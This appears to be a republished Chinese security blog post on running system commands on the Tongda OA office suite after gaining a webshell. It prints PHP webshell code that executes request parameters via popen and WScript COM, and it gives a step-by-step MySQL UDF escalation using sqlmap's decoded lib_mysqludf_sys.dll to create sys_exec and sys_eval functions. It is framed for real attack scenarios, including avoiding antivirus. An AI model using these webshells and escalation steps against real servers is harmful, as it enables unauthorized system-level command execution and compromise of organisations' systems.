某知名OA命令执行方法探索(续)
2022-8-25 15:23:7 Author: www.4hou.com(查看原文) 阅读量:34 收藏

导语:熟悉通达的小伙伴都知道通达是属于集成安装环境,和一般的CMS不同,通达安装好之后是自带配置好的WEB服务器nginx,一般来说不存在环境问题导致的差异。通达在配置中默认配置了disable_functions选项,禁止了常见的命令执行函数,甚至就连phpinfo也是禁用的。为了测试方便,在后续的分析中都手动去除了phpinfo不能执行的限制。

在上一篇文章之后,有小伙伴留言问通达OA获取权限后如何才能执行命令。本来是想留下一个小的悬念给大家,既然有人问起,咱们就把这个问题继续探讨一下。

传送门:

某知名OA高版本getshell思路(附部分脚本)

0x01 回顾过去

熟悉通达的小伙伴都知道通达是属于集成安装环境,和一般的CMS不同,通达安装好之后是自带配置好的WEB服务器nginx,一般来说不存在环境问题导致的差异。通达在配置中默认配置了disable_functions选项,禁止了常见的命令执行函数,甚至就连phpinfo也是禁用的。为了测试方便,在后续的分析中都手动去除了phpinfo不能执行的限制。

在老版本的通达(大约11.4)中,对disable_functions配置的有明显的缺陷,早期版本的通达配置如图1.1所示。

1661314689155534.png

图1.1 早期通达OA的disable_functions配置

从图1.1中可以看出在禁用的函数中缺陷了popen函数,所以可以通过popen函数来执行系统命令,相关代码如下所示。

基于popen的命令执行

 <?php
 @putenv("PATH=".getenv("PATH").";C:/Windows/system32;");
 [email protected]($_REQUEST['cmd'],'r');
 while([email protected]($fp)) {  
   print(@fgets($fp,2048));
 }
 @pclose($fp);

另外网上也早有文章提到可以通过Windows的Com组件来执行命令,相关代码如下所示。

基于WScript的命令执行

 exec("cmd.exe /c ".$_REQUEST['cmd']."");  
 $stdout = $exec->StdOut();  
 $stroutput = $stdout->ReadAll();  
 echo $stroutput;exit();
 ?>

通过这两种方式都可以达到命令执行的效果,如图1.2所示。

1661314853390811.png

图1.2 早期版本通达命令执行的方式

但是这两种方式在新版本的通达中均无法使用,首先来看新版本通达的disable_functions配置,如图1.3所示。

1661314871210455.png

图1.3 新版本通达OA的disable_functions配置

可以看出在新版本中明显修复了早期版本中漏掉的popen函数,虽然并没有在disableClassed中禁用Com组件相关的类,但是实际上通达OA已经默默关闭了Com组件,如图1.4所示。1661314887162444.png

图1.4 对比新旧版版通达OA对Com组件支持的差异

所以上面的两种命令执行的方式对于新通达来说都已经不适用了,如果我们在哥斯拉中连接通达OA的webshell,在执行命令中会看到如图1.5所示的报错。

1661314904183003.png

图1.5 通达OA命令执行报错

0x02 面对现实

仔细查看图1.3的disable_functions中,我们可以想到下面的绕过方式。

1) 利用LD_PRELOAD记载恶意so文件达到执行命令的效果行不行?答案是不行,一般来说通达OA都是windows的环境,不适用这种方式。

2) pcntl_exec函数没有在disable_functions的列表中,能不能利用这个函数来执行命令?答案也是不行,通达默认安装的环境没有pcntl扩展。

3) 利用ImageMagick来执行命令行不行?答案还是不行,默认安装的环境没有ImageMagick扩展。

目前想直接绕过disable_functions来执行命令已经是一件很难的事情了,换一种思路,我们目前有一个文件管理的webshell,并且通达OA默认安装都是system权限。怎么通过文件操作来执行命令呢?一种最简单的方式是直接把马上传到自启动目录,等待服务器重启,然后执行命令,这种是不是可行呢?可行,但是效果不好,一般不会这么用。因为一方面要等待服务器重启,这个条件不满足实际攻击场景,另一方面修改自启动目录容易被杀软拦截。

一种更好的办法是通过mysql udf来执行命令,整个利用过程如下所示。

1) 找到通达OA的数据库配置文件webroot/inc/oa_config.php。通达OA的源码文件默认是加密的,但是配置文件是不加密的,所以可以直接打开查看,如图2.1所示。

1661314928149725.png

图2.1 数据库配置文件

2) 生成udf.dll文件,网上虽然可以直接下载到很多udf.dll,但是不确定是不是有后门。而且其他随意下载的udf.dll文件经常导致数据库崩溃(多次血与泪的教训,dll不对会导致网站崩溃)。我强烈建议大家使用sqlmap自带的udf.dll文件,但是默认情况下sqlmap的udf是混淆过的,需要使用其自带的cloak工具转换回来才能使用。

 python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

使用上面的命令,会在lib_mysqludf_sys.dll_文件所在目录生成一个lib_mysqludf_sys.dll的文件,这个才是能被直接使用的udf提权dll文件。

3) 把刚才生成的文件lib_mysqludf_sys.dll上传到目标的mysql5/lib/plugin目录,默认情况下不存在这个目录,需要创建目录。

4) 连接数据库,执行下面的语句

create function sys_exec RETURNS int soname 'lib_mysqludf_sys.dll';//执行命令返回状态码create function sys_eval returns string soname 'lib_mysqludf_sys.dll '; //执行命令返回命令执行结果
select sys_eval("whoami");

1661314967191068.png

如此方能在新版本中成功执行命令。

如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/N116
如有侵权请联系:admin#unsafe.sh